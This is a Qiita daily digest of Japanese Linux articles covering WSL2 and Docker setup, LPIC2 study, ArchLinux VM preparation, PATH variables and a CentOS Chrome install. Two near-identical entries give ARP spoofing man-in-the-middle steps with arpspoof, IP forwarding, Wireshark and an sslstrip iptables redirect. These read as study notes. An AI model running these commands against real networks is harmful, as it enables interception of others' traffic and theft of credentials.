20200724のLinuxに関する記事は9件です。

Docker for Windowsを入れるまでにやったこと

とりあえず、雑にやったこと残します
あとで整形します

やったこと

  • Windowsの更新
  • MicrosoftStoreからUbuntのインストール
  • WLS2へのアップグレード
  • Docker for Windowsのインストール

Windowsのバージョンチェック

[Win + R]でファイル名を指定して実行winverと入力
image.png
この段階で、バージョンが19018以下だとDocker for Windowsはインストールできません。

Windowsの更新

というわけでWindowsそのものをアップデートします。
Windows 10 May 2020 Update

[Update now]ボタンから更新プログラムをダウンロードします。
image.png

Windows10Upgrade9252.exeファイルがダウンロードされるので、クリックして起動します。

途中の経過をキャプチャ取り忘れましたが、スタートして30分くらいで完了し、再起動を求められます。
image.png

再起動後にバージョンを確認すると、19041になりました

image.png

MicrosoftStoreからUbuntのインストール

もともとWindows使うの久しぶりでWLSもまともに使ってなかったので、wslを起動しようとしても以下のようになります。
image.png

なので、MicrosoftStoreからLinux(Ubunts)をインストールします。

MicrosoftStoreを起動します。
image.png

Ubuntu20.04.LTSを選びます。
ここは別に好きなLinuxにしてもらっても大丈夫です。
image.png

インストールをクリックします。
image.png

インストールが完了したら起動ボタンをクリックします。
image.png

起動するとターミナルが開くので、username、passwordを設定します。
image.png

ここまででUbuntuの設定は終わりです。
image.png

WLS2へのアップグレード

Windowsの機能確認と更新

PowerShellを管理者で起動します。
image.png

以下のコマンドでWindowsの機能確認ができます

dism.exe /online /get-features

コマンド実行時に以下の2つが有効になっているかを確認します

機能名 : Microsoft-Windows-Subsystem-Linux
状態 : 有効

機能名 : VirtualMachinePlatform
状態 : 有効

なっていない場合は以下のコマンドで有効にしてください

  • Microsoft-Windows-Subsystem-Linux
dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart
  • VirtualMachinePlatform
dism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart

Linuxカーネルの更新

インストール済みのLinuxディストリビューションを確認します。

wsl --list --verbose
  NAME            STATE           VERSION
* Ubuntu-20.04    Running         1

今はVersion1になっているのでコマンドでVersion2に上げるのですが、このままやると
WSL 2 を実行するには、カーネル コンポーネントの更新が必要です
と言われてしまうので、Linuxのカネールを更新します。

以下のページにアクセスして、パッケージのダウンロードをします。
WSL 2 Linux カーネルの更新
image.png

wsl_update_x64ファイルがダウンロードされるので、クリックして起動します。

image.png

[Next]を押します

image.png

[Finishi]を押して完了です。

LinuxディストリビューションをWSL2に設定

以下のコマンドでUbuntuをWSL2にアップデートします

wsl --set-version Ubuntu-20.04 2

ディストリビューションを確認します。

wsl --list --verbose
  NAME            STATE           VERSION
* Ubuntu-20.04    Running         2

変更されました。

WSL2をデフォルトに設定

WSLからデフォルトバージョンをWSL2に変更します

wsl --set-default-version 2

Docker for Windowsのインストール

もともとはコレがやりたかった。
随分遠回りしたけど、インストールやってきます。

Docker Desktop for Windows

Docker Desktop Installerファイルがダウンロードされるので、クリックして起動します。

image.png

[OK]で先に進みます

image.png

インストールが進みます

image.png

完了です、[Close and log out]でログアウトします
このとき再起動がかかります

再起動後にDocker for windowsの設定画面でましたが、正直使うのはDockerのコマンドだけなので飛ばしました。

一応起動中は以下の場所に常駐していて、Dashboardから画面は開けます。
image.png

まとめ

ともかく長かった。
WindowsのDockerがめんどくさいとは聞いていたが、ここまでとは・・・
ただ、WSL2になってDockerの実行環境がLinuxになったのはましになったと思う。

というわけで、本当にやりたかったことはこれからやります。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

AWS学習よりLPIC2の資格勉強を優先する理由

 
AWS上でLinuxを利用しているから。

~fin~

まえがき

社会人として働いていると意識するのは、時間の使い方ですよね。
この資格"LPIC2"を取得するか、AWS学習を続けるかで迷って、LPICを選択した理由を書き綴ります。
(個人的な理由も混ざっているので温かい目でみてください。)

開発プラットフォームのトップである

IPAさんのデータ白書2018-2019(リンク)によると、
開発プラットフォームとして一番選択されているのはLinuxです。
世の中の様々なクラウドサービスもlinux上で動いているという考えをすれば、汎用的で腐りません。
今後もいろいろなソフトウェア、サービスが開発され、linuxが利用されることでしょう。

AWSのありがたみを知りたかった

「このサービスを利用することで〇〇することができます!」
って発表されたとき、

「すごい!画期的!便利!」(サービスを理解している)
「へー、何が嬉しいの?」(サービスを知っている)
「なにそれ?」(サービスをしらない)

上のうち、どのようなリアクションをすることが多いでしょうか?

自分は「なにそれ?」が一番多かったです。
今までの状態を知らないと、
そもそもXX機能がある、XX機能の課題として△△があったが、新サービスは〇〇できるため、課題を克服できる。
と順々に理解して、そこに満足感を覚え止まってしまいがちで、
この機能はどこであれを担保しているのかー?など一回りレベルが上がった疑問は
今までの状態を知っていないと考えつくのも難しかったですが、
LPICを勉強してクラウドのありがたみを改めて理解できました。

技術の歴史的な変遷、今ある技術、その技術でできることを抑えておくと、
よりクラウドサービスを活用できると思います。

(余談)LPIC2の内容はネットワーク、サーバ、サービスまわりで、
クラウドサービスを利用する上で避けて通れません。
自分は開発メインでインフラ担当ではないですが、
webサーバの設定などを改めて見直すことができました。

評価される成果がほしかった

ここらへんから個人的理由です。

実はAWSのSAAという資格も持っています(←タイトル詐欺疑惑)

背景を補足すると、自分はインフラもなにもしらんままAWS利用しはじめて、
流石にまずいなとおもったのがきっかけで勉強しました。
勉強を通して、サービス全体の考え方とその種類が知ることができました。

実務でAWSを利用する上では資格を取るメリットは薄いと思います。
必要な知識を必要なときに学んだ方が効率的です。
実務でも役に立つのは、資格ではなく、資格を取得するために勉強した内容です。

しかし経歴として残るのは資格です。資格に重きを置く企業もあります。
(コードテストなしで人を採用する企業さんもありますし。)
GAFAの響きいいですしね。なんかすごそう感。(資格詐欺もありますけど)
実務何年の経歴も育った環境に依存するので、アウトプットみないとわかりません。

実務だと最終的に〇〇しか使わないから覚える意味ないみたいな意見もあると思いますが、
選択肢を狭める意味もないかとも思います。
その代わり他の勉強をするような選択肢を取ることもできます。

自分のいる環境だと、資格取得の評価が高く、
AWS学習した!では評価が低かった、それだけです。
(AWS資格取得した!でも良かったんですけど、前章の理由よりLPICに。。)

資格更新期限が迫っていた

LPIC1をとったのが5年前でそろそろ期限切れるなぁ、、
と思ったのも大きな要因の1つです。
AWS資格も3年ですよね。サービスの更新頻度を理由に有効期限短くする正当性ですよ・・
資格ビジネスお上手(褒めてます。)

LPIC2勉強詳細

資格勉強なにしたの?って方向けのコンテンツ↓↓

わいスペック

  • 基本情報、応用情報もってる。
  • SI系の会社で企画・営業・開発・研究なんでもやってたらキャリアがどっか行ったマン。
  • 社会人5年目。

利用した書籍・サービス

  • Linux教科書 LPICレベル2 Version 4.5対応 | 翔泳社(いわゆる小豆本)

    kindle版購入したんですけど、コマンドまわりとか見にくいので、
    ping-tで覚えて、足りないところ補完する感じでした。

  • ping-t 3ヶ月コース

    ping-tは自分の勉強できる時間と相談して、落ちたときのために1ヶ月余分に購入しました

勉強期間・勉強時間

2ヶ月。
LPIC 201、202それぞれ50時間ほど。
平日1-2時間、休日3-5時間。

勉強方法

  1. 小豆本読む
  2. ping-tで金になるまで問題やる
  3. 再度小豆本読む
  4. ping-t模擬試験or全問題60問を10回ほどやる
  5. ↑9割超えている→次の日受験で申込

所感

  • LPIC 202は小豆本ping-tだけだとかなり細かく頭に入れないと受かりません。
    • 別の本を追加購入することをおすすめします。
    • 自分は合格点ギリギリでした。
  • 暗記パンほしい

最後に

まだまだ、IT関連で知らないことだらけで今後も勉強しなきゃなぁ・・と思ったり、
社会人としての勉強怠ってきたからそっちも勉強したいなぁ・・とも感じたり。

お読みいただき、ありがとうございました。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

【悪戦苦闘潭譚】ArchLinux #1-1. VMの準備

あんた誰?

初投稿です。Nanai10a(なないじゅあ)と申します。
この世の最底辺の技能知識0/注意散漫erです。

この記事は何?

今回はArchLinuxを入れようとしたら苦戦したお話をしていこうと思います。

注意事項

  • 記事を読んでくださっている方の気分を著しく損なう内容が含まれています。
    • 手順通りのことをしません
    • エラーが出てもそのまま進めようとします
    • 知ったかぶりをします

以上の事項にお気をつけて。

環境

今回やっていく環境の詳細は以下の通りです。

CPU : Intel(R) Core(TM) i3-8145U
RAM : 16.0 GB (15.8 GB 使用可能)
GPU : Intel(R) UHD Graphics 620 (最大 8GB)
OS : Windows 10 Home Edition 1909 (ビルド番号 18363.959)
メーカー : mouse (F5-i3)

Prologue

簡潔に言うと、

  • Linuxのディストリビューションについて聞いたら名前が挙がった
  • 聞く限りは魅力的な事項が多かった
    • パッケージ管理システム(pacman)がなんか良さそう(※適当)
    • 素の状態からだからカスタマイズ性が高い(※これめっちゃ好き)
  • CUIインストールをやってみたかった

上記の理由でArchLinuxを使ってみたくなりました。
以上です。

下準備:VMを立てる

「実機インストールは怖いし、インストール対象がない」
という訳でVMでやっていきます。

今回使用するのはOracle VM VirtualBoxです。まずはダウンロード。

image.png
2020/07/25 作業時点

画像左上、Downsloadsより、

image.png
2020/07/25 作業時点

VirtualBox *.*.* platform packages(この画像では6.1.12)でインストーラーをダウンロード。
私の環境はWindowsなので、Windows hostsをクリックしてダウンロードしました。
私がやったときはVirtualBox-6.1.12-139181-Win.exeがダウンロードされました。

ダウンロードしたらばすかさずインストーラーを起動。
※本当はSHA256とかMD5で整合性を確認した方が良いけどしていません…

image.png
2020/07/25 作業時点

Nextをポチポチやっていきます。

image.png
2020/07/25 作業時点

[最初の画面]Custom Setup(アイコンとかが出てインストール先を選ぶやつ)Custom Setup(Option)
で私はCreate a shortcut on desktopCreate a shortcut in the Quick Launch Barからチェックを外しました。
それ以外は特に何もせず、普通にインストール。
インストール時にドライバーのインストール確認が出ますが、インストール

image.png
2020/07/25 作業時点

インストールしたらすかさず起動。
ツールタブの新規でVMを立てます。
設定は後から変えられるので適当に。

image.png
2020/07/25 作業時点
ディレクトリ名に含まれるユーザー名は白で塗り潰してあります

名前はお好みで、マシンフォルダーはそのまま。
(Tips:VMの名前をOSの名前にすると、タイプ・バージョン指定できる一部のOSは勝手にそのタイプ・バージョンになります。)
タイプはLinux、バージョンはArch Linux (64-bit)
メモリは私の環境が16GBなので多めに8GB(8192MB)を割り当て。
ハードディスクは仮想ハードディスクを使いますがここでは設定せず、仮想ハードディスクを追加しない
作成を押すと警告が出ることがありますが続ける

これでVMが立てられました。設定をしていきます。

image.png
2020/07/25 作業時点

立てたVMのタブをクリックし、設定をクリック。

  • システムタブの
    • マザーボード起動順序光学ハードディスクフロッピーネットワークにして最後2つからはチェックを外す。(最後2つは使わないので)
    • プロセッサープロセッサー数を多めに2CPU割り当て。(私の環境は2C/4Tなのでこれ以上には出来ない)
  • スクリーンタブのスクリーンビデオメモリーを64MB割り当て。(適当。深い意味はない)
  • ストレージタブの
    • ストレージデバイス
      • SATAを設定し、ハードディスク追加のボタンから作成 (ファイルサイズは30GB(適当。深い意味はない)
        ハードディスクのファイルタイプはVDI
        物理ハードディスクにあるストレージは可変サイズ、と基本設定をそのまま。)
        、一覧に出たらそれを選択。

こんな感じでVMの設定はおしまいです。(後でもう一回だけ設定に触れますが)


おわり

今回はこれでおしまいです。
次回は実際にArchLinuxをVMにインストールしてみようと思います。
ではまた次回。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Windows 10でLinuxを使う(WSL2)

Windows 10のWindows Subsystem for Linux 2(WSL2)を使うと、Windows 10上で、超お手軽にLinuxで遊ぶことができる。

How to Install

必要条件

  • バージョン 2004、ビルド 19041 以上に更新された Windows 10 を実行している。
    使用しているWindowsのバージョンはwinverコマンドで確認できる。

"Windows Subsystem for Linux"の有効化

管理者としてpowershellを開き、以下を実行。

dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart

"Virtual Machine Platform"の有効化

管理者としてpowershellを開き、以下を実行。PCを再起動するかどうか問い合わせがあるので、Yを入力する。PCが自動的に再起動する。

dism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all

WSL2用Linuxカーネルのインストール

WSL 2 Linux カーネルの更新ページから、WSL2用Linuxカーネルをダウンロードして、インストールする。

デフォルトをWSL2に設定

Linuxディストリビューションをインストールする際に、デフォルトでWSL2を使うように設定する。
powershellを開き、以下を実行。

wsl --set-default-version 2

Linuxディストリビューションをインストール

  1. Microsoft Storeを起動し、Ubuntu等のディストリビューションを検索
    Ubuntu以外には、DebianやSLES等何種類かある。 なお、特定の版数のUbuntuを入れたい場合は、版数が入ったもの(Ubuntu 20.04 LTS等)を入れたほうがよい。版数無しUbuntuはインストールする時期によって、版数が変わる模様。

image.png
2. 「入手」ボタンをクリックして、Ubuntuをインストール
3. インストール完了後、「起動」をクリックしてUbuntu起動!
image.png
4. 初回起動時にUbuntu用ユーザIDとパスワードを設定して、インストール完了
ここで入力するユーザ名はWindowsのユーザ名とは関係ない。
root権限が必要な場合は、sudoで実行できる。なお、パスワードを忘れた場合は、パスワードを忘れた場合を参照。
image.png

How to use

スタートメニューから起動

インストールしたLinuxディストリビューションは通常のアプリケーションと同様に、スタートメニューから起動可能。作成したユーザでログインした状態で起動する。

Windows Terminalからアクセス

Windows Terminalでは、自動でWSLのプロファイルが登録されるため、すぐにアクセスできるのでお勧め。Microsoft Storeからインストールできるので、気になる方は試してみては。
image.png

Windows-Linux間のファイル共有

LinuxからのWindows上のファイルへのアクセス

WindowsのCドライブがLinuxの/mnt/cにマウントされている。/mnt/cにアクセスすることで、Windows上のファイルにアクセス可能。

WindowsからLinux上のファイルへのアクセス

\\wsl$\[ディストリビューション名]でLinux上のファイルにアクセス可能。Ubuntuを使っている場合は、\\wsl$\Ubuntuでアクセスする。

How to Uninstall

通常のアプリケーションと同様にプログラムの追加と削除からアンインストール可能。

その他

コマンドプロンプトからwslコマンドで、インストール済みディストリビューション一覧の参照、アンインストール等ができる。

C:\>wsl -l -v
  NAME            STATE           VERSION
* Ubuntu-20.04    Running         2

リンク

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

LinuxのコマンドってなんでPATHを書かなくても実行できるんだ?

はじめに

最近Linuxを触っている時に、ls,cd,pwdとかのコマンドってなんで実行ファイルまでのPATHを書かなくても実行できるんだと思ったのがこの記事を書くきっかけになりました。

目次

  1. 環境変数
  2. PATHを通す

1. 環境変数

PATHの話をする前にまずこの環境変数について触れなければなりません。

環境変数とは、OSが設定値などを永続的に保存し、利用者や実行されるプログラムから設定・参照できるようにしたもの。 プログラムの実行時などに必要となる、利用者やコンピュータごとに内容が異なる設定値などを記録するために用いられる。(IT用語辞典 e-Words)

簡単に言えば、ユーザーごとに変数にある値を設定することができるし、コンピュータ全体にも設定することができるって感じです。

では、どのように環境変数を設定するかと言うと

$ NAME=Tanaka
$ export NAME
    # or
$ export NAME=Tanaka

このようにしてLinuxでは環境変数を設定することが出来ます。
しかし、この状態では永続的には環境変数を保存することが出来ません。なのでここで~/.bash_profileに環境変数を設定しなければいけません。

#.bash_profile

NAME='Tanaka'
export NAME

こうすることで、永続的に環境変数を設定することができます。
soruce ~/.bash_profileとすることで、ログアウトしてログインせずに反映させることだできる。

2. PATHを通す

さて、この記事の本題であるls,pwd,cdといったLinuxのコマンドがPATHを通さずに実行することが出来るかというと、環境変数にPATHを設定しているということです。

$ echo $PATH
# 現在の変数PATHに設定している状態が表示される
# 例) /usr/bin:/usr/local/sbin など 

このPATHに対して設定することでls,cd,pwdなどがPATHを通さずに使用することが出来るのです。

# ~/bash_profile
PATH="$PATH:/usr/bin"
export PATH

まとめ

普段何気なく使っていたls,cd,pwd,yumなどがPATHを通さずに使えた理由が環境変数のPTAHに通すことで使用出来ているのです。何かの実行ファイルをダウンロードしてきた時にPATHを通す処理何かはそういことです。

次回は、詳しく触れなかった~/.bash_profilesourceコマンドについて記事を書いていきたいと思っています。

参考資料

https://ja.wikipedia.org/wiki/%E7%92%B0%E5%A2%83%E5%A4%89%E6%95%B0
https://qiita.com/Naggi-Goishi/items/2c49ea50602ea80bf015

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

ArcoLinux stops using release numbers in

ArcoLinux の続報です。
Arco の本家でArco が Rolling ReleaseになったとのInfo がありました。
ArcoLinux stops using release numbers in /etc/lsb-release
本家のinfo ←クリック(新窓)
え? Arch系のくせにRolling じゃなかったの?
本家の開発者も「yes it will but no numbers anymore」
とFacebook で発言しています。

これから安心して使えるようになって欲しいものです。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

ARPスプーフィング ( 中間者攻撃 , MITM )

1. 攻撃対象のIPアドレス取得

ifconfig
arp -a
nmap -F 192.168.XXX.XXX/24

などなど

2. 攻撃者のPCを経由するパケットをフォワードさせるためにIPフォワーディングを有効

1で有効

echo 1 > /proc/sys/net/ipv4/ip_forward

0で無効

echo 0 > /proc/sys/net/ipv4/ip_forward

3. ARPテーブル書き換え

NICを wlan0 に指定して,192.168.100.123 のARPテーブルにある 192.168.100.124 のMACアドレスを攻撃者(自身)のMACアドレスに書き換える

sudo arpspoof -i wlan0 -t 192.168.100.123 192.168.100.124

NICを wlan0 に指定して,192.168.100.124 のARPテーブルにある 192.168.100.123 のMACアドレスを攻撃者(自身)のMACアドレスに書き換える

sudo arpspoof -i wlan0 -t 192.168.100.124 192.168.100.123

注意:送信と受信両方が攻撃者PCを経由して通信するようにする為,別ターミナルで2回実行する必要がある!

4. パケットキャプチャ

wireshark

5. おまけ

sslストリップ

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
sslstrip -l 8080
cat sslstrip.log

6. 参考文献

https://qiita.com/kinokoruumu/items/a4d98c5a55243b5afe96
https://www.slideshare.net/sonickun/arp-39782351
https://network-beginner.xyz/sslstrip
https://tutorialmore.com/questions-594005.htm
https://netwiz.jp/arp-spoofing/
https://www.atmarkit.co.jp/ait/articles/0305/09/news003_3.html
https://milestone-of-se.nesuke.com/nw-basic/ethernet/gratuitous-arp/
https://network-beginner.xyz/dns_spoof

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

ARPスプーフィング手順 ( 中間者攻撃 , MITM )

1. 攻撃対象のIPアドレス取得

ifconfig
arp -a
nmap -F 192.168.XXX.XXX/24

などなど

2. 攻撃者のPCを経由するパケットをフォワードさせるためにIPフォワーディングを有効

1で有効

echo 1 > /proc/sys/net/ipv4/ip_forward

0で無効

echo 0 > /proc/sys/net/ipv4/ip_forward

3. ARPテーブル書き換え

NICを wlan0 に指定して,192.168.100.123 のARPテーブルにある 192.168.100.124 のMACアドレスを攻撃者(自身)のMACアドレスに書き換える

sudo arpspoof -i wlan0 -t 192.168.100.123 192.168.100.124

NICを wlan0 に指定して,192.168.100.124 のARPテーブルにある 192.168.100.123 のMACアドレスを攻撃者(自身)のMACアドレスに書き換える

sudo arpspoof -i wlan0 -t 192.168.100.124 192.168.100.123

注意:送信と受信両方が攻撃者PCを経由して通信するようにする為,別ターミナルで2回実行する必要がある!

4. パケットキャプチャ

wireshark

5. sslストリップ

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
sslstrip -l 8080
cat sslstrip.log

6. 参考文献

https://qiita.com/kinokoruumu/items/a4d98c5a55243b5afe96
https://www.slideshare.net/sonickun/arp-39782351
https://network-beginner.xyz/sslstrip
https://tutorialmore.com/questions-594005.htm
https://netwiz.jp/arp-spoofing/
https://www.atmarkit.co.jp/ait/articles/0305/09/news003_3.html
https://milestone-of-se.nesuke.com/nw-basic/ethernet/gratuitous-arp/
https://network-beginner.xyz/dns_spoof

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

CentOS7系にChromeをインストールする

目的

  • CentOS初体験でChromeのインストールすら詰まったので方法をまとめる

実施環境

  • CentOSバージョン 7.8.2003

概要

  1. rpmファイルのダウンロード
  2. yumを利用したインストール

詳細

  1. rpmファイルのダウンロード
    1. 下記ページにアクセスする。
    2. 64ビット.rpm(Fedora/openSUSE用)を選択して「同意してインストール」をクリックする。
    3. 「プログラファイルとして保存する」をクリックする。
  2. yumを利用したインストール

    1. Downloadディレクトリに移動する。
    2. 下記コマンドを実行してインストールを行う。

      $ sudo yum -y install google-chrome-stable_current_x86_64.rpm
      
    3. ディスクトップ左下の「Kickoff アプリケーションランチャー」をクリックして「アプリケーション」→「インターネット」の中にChromeのアイコンが存在する。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む